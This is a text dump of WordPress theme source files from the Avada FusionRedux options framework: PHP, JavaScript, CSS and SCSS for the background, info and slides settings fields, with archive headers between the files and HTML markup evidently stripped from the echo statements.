    '; } } if ( $this->field['background-repeat'] === true ) { $array = array( 'no-repeat' => 'No Repeat', 'repeat' => 'Repeat All', 'repeat-x' => 'Repeat Horizontally', 'repeat-y' => 'Repeat Vertically', 'inherit' => 'Inherit', ); echo ''; } if ( $this->field['background-clip'] === true ) { $array = array( 'inherit' => 'Inherit', 'border-box' => 'Border Box', 'content-box' => 'Content Box', 'padding-box' => 'Padding Box', ); echo ''; } if ( $this->field['background-origin'] === true ) { $array = array( 'inherit' => 'Inherit', 'border-box' => 'Border Box', 'content-box' => 'Content Box', 'padding-box' => 'Padding Box', ); echo ''; } if ( $this->field['background-size'] === true ) { $array = array( 'inherit' => 'Inherit', 'cover' => 'Cover', 'contain' => 'Contain', ); echo ''; } if ( $this->field['background-attachment'] === true ) { $array = array( 'fixed' => 'Fixed', 'scroll' => 'Scroll', 'inherit' => 'Inherit', ); echo ''; } if ( $this->field['background-position'] === true ) { $array = array( 'left top' => 'Left Top', 'left center' => 'Left center', 'left bottom' => 'Left Bottom', 'center top' => 'Center Top', 'center center' => 'Center Center', 'center bottom' => 'Center Bottom', 'right top' => 'Right Top', 'right center' => 'Right center', 'right bottom' => 'Right Bottom', ); echo ''; } if ( $this->field['background-image'] === true ) { echo '
    '; if ( empty( $this->value ) && ! empty( $this->field['default'] ) ) { // If there are standard values and value is empty if ( is_array( $this->field['default'] ) ) { if ( ! empty( $this->field['default']['media']['id'] ) ) { $this->value['media']['id'] = $this->field['default']['media']['id']; } else if ( ! empty( $this->field['default']['id'] ) ) { $this->value['media']['id'] = $this->field['default']['id']; } if ( ! empty( $this->field['default']['url'] ) ) { $this->value['background-image'] = $this->field['default']['url']; } else if ( ! empty( $this->field['default']['media']['url'] ) ) { $this->value['background-image'] = $this->field['default']['media']['url']; } else if ( ! empty( $this->field['default']['background-image'] ) ) { $this->value['background-image'] = $this->field['default']['background-image']; } } else { if ( is_numeric( $this->field['default'] ) ) { // Check if it's an attachment ID $this->value['media']['id'] = $this->field['default']; } else { // Must be a URL $this->value['background-image'] = $this->field['default']; } } } if ( empty( $this->value['background-image'] ) && ! empty( $this->value['media']['id'] ) ) { $img = wp_get_attachment_image_src( $this->value['media']['id'], 'full' ); $this->value['background-image'] = $img[0]; $this->value['media']['width'] = $img[1]; $this->value['media']['height'] = $img[2]; } $hide = 'hide '; if ( ( isset( $this->field['preview_media'] ) && $this->field['preview_media'] === false ) ) { $this->field['class'] .= " noPreview"; } if ( ( ! empty( $this->field['background-image'] ) && $this->field['background-image'] === true ) || isset( $this->field['preview'] ) && $this->field['preview'] === false ) { $hide = ''; } $placeholder = isset( $this->field['placeholder'] ) ? $this->field['placeholder'] : __( 'No media selected', 'Avada' ); echo ''; echo ''; echo ''; echo ''; echo ''; //Preview $hide = ''; if ( ( isset( $this->field['preview_media'] ) && $this->field['preview_media'] === false ) || empty( $this->value['background-image'] ) ) { $hide = 'hide '; } if ( empty( $this->value['media']['thumbnail'] ) && ! empty( $this->value['background-image'] ) ) { // Just in case if ( ! empty( $this->value['media']['id'] ) ) { $image = wp_get_attachment_image_src( $this->value['media']['id'], array( 150, 150 ) ); $this->value['media']['thumbnail'] = $image[0]; } else { $this->value['media']['thumbnail'] = $this->value['background-image']; } } echo '
    '; echo ''; echo ''; echo ''; echo '
    '; //Upload controls DIV echo '
    '; //If the user has WP3.5+ show upload/remove button echo '' . __( 'Upload', 'Avada' ) . ''; $hide = ''; if ( empty( $this->value['background-image'] ) || $this->value['background-image'] == '' ) { $hide = ' hide'; } echo '' . __( 'Remove', 'Avada' ) . ''; echo '
    '; } /** * Preview * */ if ( ! isset( $this->field['preview'] ) || $this->field['preview'] !== false ): $css = $this->getCSS(); if ( empty( $css ) ) { $css = "display:none;"; } $css .= "height: " . $this->field['preview_height'] . ";"; echo '

     

    '; endif; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { if (!wp_script_is ( 'media-upload' )) { wp_enqueue_script( 'media-upload' ); } } if (!wp_style_is ( 'select3-css' )) { wp_enqueue_style( 'select3-css' ); } if (!wp_style_is ( 'wp-color-picker' )) { wp_enqueue_style( 'wp-color-picker' ); } if (!wp_script_is ( 'fusionredux-field-background-js' )) { wp_enqueue_script( 'fusionredux-field-background-js', FusionReduxFramework::$_url . 'inc/fields/background/field_background' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'select3-js', 'fusionredux-js' ), time(), true ); } if ($this->parent->args['dev_mode']) { if (!wp_style_is ( 'fusionredux-field-background-css' )) { wp_enqueue_style( 'fusionredux-field-background-css', FusionReduxFramework::$_url . 'inc/fields/background/field_background.css', array(), time(), 'all' ); } if (!wp_style_is ( 'fusionredux-color-picker-css' )) { wp_enqueue_style( 'fusionredux-color-picker-css' ); } } } public static function getCSS( $value = array() ) { $css = ''; if ( ! empty( $value ) && is_array( $value ) ) { foreach ( $value as $key => $value ) { if ( ! empty( $value ) && $key != "media" ) { if ( $key == "background-image" ) { $css .= $key . ":url('" . $value . "');"; } else { $css .= $key . ":" . $value . ";"; } } } } return $css; } public function output() { $style = $this->getCSS( $this->value ); if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $this->parent->outputCSS .= $keys . "{" . $style . '}'; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.js000064400000024330152342437710027105 0ustar00/** * FusionRedux Background * Dependencies : jquery, wp media uploader * Feature added by : Dovy Paukstys * Date : 07 Jan 2014 */ /*global fusionredux_change, wp, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.background = fusionredux.field_objects.background || {}; fusionredux.field_objects.background.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-background:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } // Remove the image button el.find( '.fusionredux-remove-background' ).unbind( 'click' ).on( 'click', function( e ) { e.preventDefault(); fusionredux.field_objects.background.removeImage( $( this ).parents( '.fusionredux-container-background:first' ) ); return false; } ); // Upload media button el.find( '.fusionredux-background-upload' ).unbind().on( 'click', function( event ) { fusionredux.field_objects.background.addImage( event, $( this ).parents( '.fusionredux-container-background:first' ) ); } ); el.find( '.fusionredux-background-input' ).on( 'change', function() { fusionredux.field_objects.background.preview( $( this ) ); } ); el.find( '.fusionredux-color' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ) ); $( '#' + e.target.id + '-transparency' ).removeAttr( 'checked' ); fusionredux.field_objects.background.preview( $( this ) ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ).parent().find( '.fusionredux-color-init' ) ); fusionredux.field_objects.background.preview( $( this ) ); }, palettes: ['#000000', '#ffffff', '#f44336', '#E91E63', '#03A9F4', '#00BCD4', '#8BC34A', '#FFEB3B', '#FFC107', '#FF9800', '#607D8B'] } ); // Replace and validate field on blur el.find( '.fusionredux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); el.find( '.fusionredux-color' ).on( 'focus', function() { $( this ).data( 'oldcolor', $( this ).val() ); } ); el.find( '.fusionredux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.fusionredux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.fusionredux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } fusionredux.field_objects.background.preview( $( this ) ); fusionredux_change( $( this ) ); } ); var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select3_handle = el.find( '.select3_params' ); if ( select3_handle.length > 0 ) { var select3_params = select3_handle.val(); select3_params = JSON.parse( select3_params ); default_params = $.extend( {}, default_params, select3_params ); } el.find( " .fusionredux-background-repeat, .fusionredux-background-clip, .fusionredux-background-origin, .fusionredux-background-size, .fusionredux-background-attachment, .fusionredux-background-position" ).select3( default_params ); } ); }; // Update the background preview fusionredux.field_objects.background.preview = function( selector ) { var parent = $( selector ).parents( '.fusionredux-container-background:first' ); var preview = $( parent ).find( '.background-preview' ); if ( !preview ) { // No preview present return; } var hide = true; var css = 'height:' + preview.height() + 'px;'; $( parent ).find( '.fusionredux-background-input' ).each( function() { var data = $( this ).serializeArray(); data = data[0]; if ( data && data.name.indexOf( '[background-' ) != -1 ) { if ( data.value !== "" ) { hide = false; data.name = data.name.split( '[background-' ); data.name = 'background-' + data.name[1].replace( ']', '' ); if ( data.name == "background-image" ) { css += data.name + ':url("' + data.value + '");'; } else { css += data.name + ':' + data.value + ';'; } } } } ); if ( !hide ) { preview.attr( 'style', css ).fadeIn(); } else { preview.slideUp(); } }; // Add a file via the wp.media function fusionredux.field_objects.background.addImage = function( event, selector ) { event.preventDefault(); var frame; var jQueryel = $( this ); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media( { multiple: false, library: { //type: 'image' //Only allow images }, // Set the title of the modal. title: jQueryel.data( 'choose' ), // Customize the submit button. button: { // Set the text of the button. text: jQueryel.data( 'update' ) // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. } } ); // When an image is selected, run a callback. frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); frame.close(); //console.log(attachment.attributes.type); if ( attachment.attributes.type !== "image" ) { return; } selector.find( '.upload' ).val( attachment.attributes.url ); selector.find( '.upload-id' ).val( attachment.attributes.id ); selector.find( '.upload-height' ).val( attachment.attributes.height ); selector.find( '.upload-width' ).val( attachment.attributes.width ); fusionredux_change( $( selector ).find( '.upload-id' ) ); var thumbSrc = attachment.attributes.url; if ( typeof attachment.attributes.sizes !== 'undefined' && typeof attachment.attributes.sizes.thumbnail !== 'undefined' ) { thumbSrc = attachment.attributes.sizes.thumbnail.url; } else if ( typeof attachment.attributes.sizes !== 'undefined' ) { var height = attachment.attributes.height; for ( var key in attachment.attributes.sizes ) { var object = attachment.attributes.sizes[key]; if ( object.height < height ) { height = object.height; thumbSrc = object.url; } } } else { thumbSrc = attachment.attributes.icon; } selector.find( '.upload-thumbnail' ).val( thumbSrc ); if ( !selector.find( '.upload' ).hasClass( 'noPreview' ) ) { selector.find( '.screenshot' ).empty().hide().append( '' ).slideDown( 'fast' ); } selector.find( '.fusionredux-remove-background' ).removeClass( 'hide' );//show "Remove" button selector.find( '.fusionredux-background-input-properties' ).slideDown(); fusionredux.field_objects.background.preview( selector.find( '.upload' ) ); } ); // Finally, open the modal. frame.open(); }; // Update the background preview fusionredux.field_objects.background.removeImage = function( selector ) { // This shouldn't have been run... if ( !selector.find( '.fusionredux-remove-background' ).addClass( 'hide' ) ) { return; } selector.find( '.fusionredux-remove-background' ).addClass( 'hide' ); //hide "Remove" button selector.find( '.upload' ).val( '' ); selector.find( '.upload-id' ).val( '' ); selector.find( '.upload-height' ).val( '' ); selector.find( '.upload-width' ).val( '' ); fusionredux_change( $( selector ).find( '.upload-id' ) ); selector.find( '.fusionredux-background-input-properties' ).hide(); var screenshot = selector.find( '.screenshot' ); // Hide the screenshot screenshot.slideUp(); selector.find( '.remove-file' ).unbind(); // We don't display the upload button if .upload-notice is present // This means the user doesn't have the WordPress 3.5 Media Library Support if ( $( '.section-upload .upload-notice' ).length > 0 ) { $( '.fusionredux-background-upload' ).remove(); } }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/background/field_background.css000064400000005342152342437710027263 0ustar00.fusionredux-main .fusionredux-container-background .fusionredux-background-position,.fusionredux-main .fusionredux-container-background .fusionredux-background-position select,.fusionredux-main .fusionredux-container-background .fusionredux-background-attachment,.fusionredux-main .fusionredux-container-background .fusionredux-background-attachment select,.fusionredux-main .fusionredux-container-background .fusionredux-background-clip,.fusionredux-main .fusionredux-container-background .fusionredux-background-clip select,.fusionredux-main .fusionredux-container-background .fusionredux-background-origin,.fusionredux-main .fusionredux-container-background .fusionredux-background-origin select,.fusionredux-main .fusionredux-container-background .fusionredux-background-size,.fusionredux-main .fusionredux-container-background .fusionredux-background-size select,.fusionredux-main .fusionredux-container-background .fusionredux-background-repeat,.fusionredux-main .fusionredux-container-background .fusionredux-background-repeat select{width:200px !important;margin-right:10px;margin-bottom:7px}.fusionredux-main .fusionredux-container-background .background-preview{display:block;width:100%;margin:5px 0 10px;border:1px dotted #d3d3d3}.fusionredux-main .fusionredux-container-background .select3-container{margin-right:10px;margin-bottom:10px}.fusionredux-main .fusionredux-container-background .wp-picker-container{margin-bottom:10px}.fusionredux-main .fusionredux-container-background .upload{width:100%;margin-bottom:8px}.fusionredux-main .fusionredux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.wp-customizer .fusionredux-container-background .fusionredux-background-position,.wp-customizer .fusionredux-container-background .fusionredux-background-position select,.wp-customizer .fusionredux-container-background .fusionredux-background-attachment,.wp-customizer .fusionredux-container-background .fusionredux-background-attachment select,.wp-customizer .fusionredux-container-background .fusionredux-background-clip,.wp-customizer .fusionredux-container-background .fusionredux-background-clip select,.wp-customizer .fusionredux-container-background .fusionredux-background-origin,.wp-customizer .fusionredux-container-background .fusionredux-background-origin select,.wp-customizer .fusionredux-container-background .fusionredux-background-size,.wp-customizer .fusionredux-container-background .fusionredux-background-size select,.wp-customizer .fusionredux-container-background .fusionredux-background-repeat,.wp-customizer .fusionredux-container-background .fusionredux-background-repeat select{width:100% !important}/*# sourceMappingURL=FusionReduxCore/inc/fields/background/field_background.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/info/field_info.php000064400000013221152342437710024705 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Info * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_info' ) ) { /** * Main FusionReduxFramework_info class * * @since 1.0.0 */ class FusionReduxFramework_info { /** * The parent. * * @var mixed */ public $parent; /** * The field. * * @var mixed */ public $field; /** * The value. * * @var mixed */ public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $defaults = array( 'title' => '', 'desc' => '', 'notice' => true, 'style' => '', 'color' => '', ); $this->field = wp_parse_args( $this->field, $defaults ); $styles = array( 'normal', 'info', 'warning', 'success', 'critical', 'custom' ); if (!in_array($this->field['style'], $styles)) { $this->field['style'] = 'normal'; } if ($this->field['style'] == "custom") { if (!empty($this->field['color']) ) { $this->field['color'] = "border-color:".$this->field['color'].';'; } else { $this->field['style'] = 'normal'; $this->field['color'] = ""; } } else { $this->field['color'] = ""; } if ( empty( $this->field['desc'] ) && ! empty( $this->field['default'] ) ) { $this->field['desc'] = $this->field['default']; unset( $this->field['default'] ); } if ( empty( $this->field['desc'] ) && ! empty( $this->field['subtitle'] ) ) { $this->field['desc'] = $this->field['subtitle']; unset( $this->field['subtitle'] ); } if ( empty( $this->field['desc'] ) ) { $this->field['desc'] = ""; } if ( empty( $this->field['raw_html'] ) ) { if ( $this->field['notice'] == true ) { $this->field['class'] .= ' fusionredux-notice-field'; } else { $this->field['class'] .= ' fusionredux-info-field'; } $this->field['style'] = 'fusionredux-' . $this->field['style'] . ' '; } $indent = ( isset( $this->field['sectionIndent'] ) && $this->field['sectionIndent'] ) ? ' form-table-section-indented' : ''; if ( isset( $this->field['hidden'] ) && true === $this->field['hidden'] ) { return; } echo '
    field['style']) . ' ' . esc_attr($this->field['class']) . ' fusionredux-field-' . esc_attr($this->field['type']) . esc_attr($indent) . '"'.( !empty($this->field['color']) ? ' style="' . esc_attr($this->field['color']) . '"' : '' ) . '>'; if ( ! empty( $this->field['raw_html'] ) && $this->field['raw_html'] ) { echo wp_kses_post($this->field['desc']); } else { if ( isset( $this->field['title'] ) && ! empty( $this->field['title'] ) ) { $this->field['title'] = '' . wp_kses_post($this->field['title']) . '
    '; } if ( isset( $this->field['icon'] ) && ! empty( $this->field['icon'] ) && $this->field['icon'] !== true ) { echo '

    '; } if ( isset( $this->field['raw'] ) && ! empty( $this->field['raw'] ) ) { echo wp_kses_post($this->field['raw']); } if ( ! empty( $this->field['title'] ) || ! empty( $this->field['desc'] ) ) { echo '

    ' . wp_kses_post($this->field['title']) . wp_kses_post($this->field['desc']) . '

    '; } } echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-info-css', FusionReduxFramework::$_url . 'inc/fields/info/field_info.css', array(), time(), 'all' ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/info/field_info.css000064400000005670152342437710024717 0ustar00.fusionredux-info-field{min-height:20px;padding:8px 19px;margin:10px 0;border:1px solid;border-radius:4px;border:1px solid;position:relative}.fusionredux-info-field h1,.fusionredux-info-field h2,.fusionredux-info-field h3,.fusionredux-info-field h4,.fusionredux-info-field h5,.fusionredux-info-field h6{border-bottom:0 !important}.fusionredux-info-field h3{color:#777}.fusionredux-info-field .fusionredux-info-icon{display:inline-block;margin-right:15px}.fusionredux-info-field .fusionredux-info-icon i{font-size:2em}.fusionredux-info-field .fusionredux-info-desc{display:inline-block;vertical-align:top}.fusionredux-info-field.fusionredux-normal{background-color:#eee;border-color:#ccc;color:#666}.fusionredux-info-field.fusionredux-normal i{color:#c5c5c5}.fusionredux-info-field.fusionredux-warning{background-color:#fbeba4;border-color:#d7c281;color:#958234}.fusionredux-info-field.fusionredux-warning i{color:#dcca81}.fusionredux-info-field.fusionredux-success{background-color:#c4ee91;border-color:#71af5d;color:#4d7615}.fusionredux-info-field.fusionredux-success i{color:#a0ca6c}.fusionredux-info-field.fusionredux-critical{background-color:#fba1a3;border-color:#b84f5b;color:#981225}.fusionredux-info-field.fusionredux-critical i{color:#dd767d}.fusionredux-info-field.fusionredux-info{background-color:#d3e4f4;border-color:#a9b6c2;color:#5c80a1}.fusionredux-info-field.fusionredux-info i{color:#afc6da}.fusionredux-notice-field{margin:15px 0 0;background-color:#fff;border:0;border-left:4px solid #f3f3f3;-webkit-box-shadow:0 1px 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 1px 0 rgba(0,0,0,.1);padding:1px 12px}.fusionredux-notice-field h1,.fusionredux-notice-field h2,.fusionredux-notice-field h3,.fusionredux-notice-field h4,.fusionredux-notice-field h5,.fusionredux-notice-field h6{border-bottom:0 !important}.fusionredux-notice-field p{margin:.5em 0;padding:2px}.fusionredux-notice-field .fusionredux-info-icon{display:inline-block;margin-right:15px}.fusionredux-notice-field .fusionredux-info-icon i{font-size:2em}.fusionredux-notice-field .fusionredux-info-desc{display:inline-block;vertical-align:top}.fusionredux-notice-field.fusionredux-info{border-left:4px solid #0099d5}.fusionredux-notice-field.fusionredux-success{border-left:4px solid #7ad03a}.fusionredux-notice-field.fusionredux-warning{border-left:4px solid #fbeba4}.fusionredux-notice-field.fusionredux-critical{border-left:4px solid #dd3d36}.fusionredux-main .fusionredux-field-container.fusionredux-container-info{padding:0}.wp-customizer .hasIcon.fusionredux-notice-field .fusionredux-info-desc,.wp-customizer .hasIcon.fusionredux-info-field .fusionredux-info-desc{display:block;margin-left:43px}.wp-customizer .hasIcon.fusionredux-notice-field .fusionredux-info-icon,.wp-customizer .hasIcon.fusionredux-info-field .fusionredux-info-icon{float:left}.wp-customizer .fusionredux-main .customize-control.customize-control-fusionredux-info{border-bottom:0}/*# sourceMappingURL=FusionReduxCore/inc/fields/info/field_info.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/info/field_info.scss000064400000005455152342437710025103 0ustar00.fusionredux-info-field { min-height: 20px; padding: 8px 19px; margin: 10px 0; border: 1px solid; border-radius: 4px; border: 1px solid; position: relative; h1, h2, h3, h4, h5, h6 { border-bottom: 0 !important; } h3 { color: #777; } .fusionredux-info-icon { display: inline-block; margin-right: 15px; i { font-size: 2em; } } .fusionredux-info-desc { display: inline-block; vertical-align: top; } &.fusionredux-normal { background-color: #eeeeee; border-color: #cccccc; color: #666666; i { color: #c5c5c5; } } &.fusionredux-warning { background-color: #fbeba4; border-color: #d7c281; color: #958234; i { color: #dcca81; } } &.fusionredux-success { background-color: #c4ee91; border-color: #71af5d; color: #4d7615; i { color: #a0ca6c; } } &.fusionredux-critical { background-color: #fba1a3; border-color: #b84f5b; color: #981225; i { color: #dd767d; } } &.fusionredux-info { background-color: #d3e4f4; border-color: #a9b6c2; color: #5c80a1; i { color: #afc6da; } } } .fusionredux-notice-field { margin: 15px 0 0; background-color: #fff; border: 0; border-left: 4px solid #f3f3f3; -webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); padding: 1px 12px; h1, h2, h3, h4, h5, h6 { border-bottom: 0 !important; } p { margin: .5em 0; padding: 2px; } .fusionredux-info-icon { display: inline-block; margin-right: 15px; i { font-size: 2em; } } .fusionredux-info-desc { display: inline-block; vertical-align: top; } &.fusionredux-info { border-left: 4px solid #0099d5; } &.fusionredux-success { border-left: 4px solid #7ad03a; } &.fusionredux-warning { border-left: 4px solid #fbeba4; } &.fusionredux-critical { border-left: 4px solid #dd3d36; } } .fusionredux-main .fusionredux-field-container.fusionredux-container-info { padding: 0; } .wp-customizer { .hasIcon.fusionredux-notice-field, .hasIcon.fusionredux-info-field { .fusionredux-info-desc { display: block; margin-left: 43px; } .fusionredux-info-icon { float: left; } } .fusionredux-main .customize-control.customize-control-fusionredux-info { border-bottom: 0; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.css000064400000004210152342437710025564 0ustar00.fusionredux-container-slides .fusionredux-slides-list .select3-container{margin-bottom:10px;width:100%}.fusionredux-container-slides .ui-accordion-header{margin-bottom:0}.fusionredux-container-slides .full-text,.fusionredux-container-slides .large-text{width:100%}.fusionredux-container-slides .fusionredux-slides-accordion-group{border:1px solid #dfdfdf !important;border-radius:3px !important;margin-top:0 !important;margin-bottom:10px;background:#f9f9f9;padding:5px}.fusionredux-container-slides .fusionredux-slides-accordion-group h3{border:1px solid #dfdfdf;cursor:move !important;font-weight:bold;padding:0 10px !important;height:40px;line-height:40px !important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top, #f9f9f9, #ececec);background-image:-moz-linear-gradient(top, #f9f9f9, #ececec);background-image:-o-linear-gradient(top, #f9f9f9, #ececec);background-image:-webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec));background-image:-webkit-linear-gradient(top, #f9f9f9, #ececec);background-image:linear-gradient(top, #f9f9f9, #ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.fusionredux-container-slides #fusionredux-slides-accordion .fusionredux-slides-image{height:250px;padding:5px;margin-top:10px;margin-bottom:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.fusionredux-container-slides .fusionredux-slides-add{float:right;margin-right:10%;display:block;margin-bottom:10px}.fusionredux-container-slides .fusionredux-slides-remove{color:#ef521d !important;float:right;margin-top:5px}.fusionredux-container-slides .fusionredux-slides-header{font-weight:bold}.fusionredux-container-slides .fusionredux_slides_add_remove{margin-bottom:10px}.fusionredux-container-slides input{width:100% !important}.wp-customizer .fusionredux-container-slides .ui-accordion .ui-accordion-content{padding:10px}/*# sourceMappingURL=FusionReduxCore/inc/fields/slides/field_slides.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slides/field_slides.js000064400000015364152342437710025424 0ustar00/*global fusionredux_change, wp, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.slides = fusionredux.field_objects.slides || {}; $( document ).ready( function() { //fusionredux.field_objects.slides.init(); } ); fusionredux.field_objects.slides.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-slides:visible' ); } $( selector ).each( function() { var el = $( this ); fusionredux.field_objects.media.init(el); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-container-slides' ) ) { parent.addClass( 'fusionredux-field-init' ); } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.on( 'click', '.fusionredux-slides-remove', function() { fusionredux_change( $( this ) ); $( this ).parent().siblings().find( 'input[type="text"]' ).val( '' ); $( this ).parent().siblings().find( 'textarea' ).val( '' ); $( this ).parent().siblings().find( 'input[type="hidden"]' ).val( '' ); var slideCount = $( this ).parents( '.fusionredux-container-slides:first' ).find( '.fusionredux-slides-accordion-group' ).length; if ( slideCount > 1 ) { $( this ).parents( '.fusionredux-slides-accordion-group:first' ).slideUp( 'medium', function() { $( this ).remove(); } ); } else { var content_new_title = $( this ).parent( '.fusionredux-slides-accordion' ).data( 'new-content-title' ); $( this ).parents( '.fusionredux-slides-accordion-group:first' ).find( '.remove-image' ).click(); $( this ).parents( '.fusionredux-container-slides:first' ).find( '.fusionredux-slides-accordion-group:last' ).find( '.fusionredux-slides-header' ).text( content_new_title ); } } ); //el.find( '.fusionredux-slides-add' ).click( el.find( '.fusionredux-slides-add' ).off('click').on( 'click', function() { var newSlide = $( this ).prev().find( '.fusionredux-slides-accordion-group:last' ).clone( true ); var slideCount = $( newSlide ).find( '.slide-title' ).attr( "name" ).match( /[0-9]+(?!.*[0-9])/ ); var slideCount1 = slideCount * 1 + 1; $( newSlide ).find( 'input[type="text"], input[type="hidden"], textarea' ).each( function() { $( this ).attr( "name", jQuery( this ).attr( "name" ).replace( /[0-9]+(?!.*[0-9])/, slideCount1 ) ).attr( "id", $( this ).attr( "id" ).replace( /[0-9]+(?!.*[0-9])/, slideCount1 ) ); $( this ).val( '' ); if ( $( this ).hasClass( 'slide-sort' ) ) { $( this ).val( slideCount1 ); } } ); var content_new_title = $( this ).prev().data( 'new-content-title' ); $( newSlide ).find( '.screenshot' ).removeAttr( 'style' ); $( newSlide ).find( '.screenshot' ).addClass( 'hide' ); $( newSlide ).find( '.screenshot a' ).attr( 'href', '' ); $( newSlide ).find( '.remove-image' ).addClass( 'hide' ); $( newSlide ).find( '.fusionredux-slides-image' ).attr( 'src', '' ).removeAttr( 'id' ); $( newSlide ).find( 'h3' ).text( '' ).append( '' + content_new_title + '' ); $( this ).prev().append( newSlide ); } ); el.find( '.slide-title' ).on( 'keyup', function( event ) { var newTitle = event.target.value; $( this ).parents().eq( 3 ).find( '.fusionredux-slides-header' ).text( newTitle ); } ); el.find( ".fusionredux-slides-accordion" ) .accordion( { header: "> div > fieldset > h3", collapsible: true, active: false, heightStyle: "content", icons: { "header": "ui-icon-plus", "activeHeader": "ui-icon-minus" } } ) .sortable( { axis: "y", handle: "h3", connectWith: ".fusionredux-slides-accordion", start: function( e, ui ) { ui.placeholder.height( ui.item.height() ); ui.placeholder.width( ui.item.width() ); }, placeholder: "ui-state-highlight", stop: function( event, ui ) { // IE doesn't register the blur when sorting // so trigger focusout handlers to remove 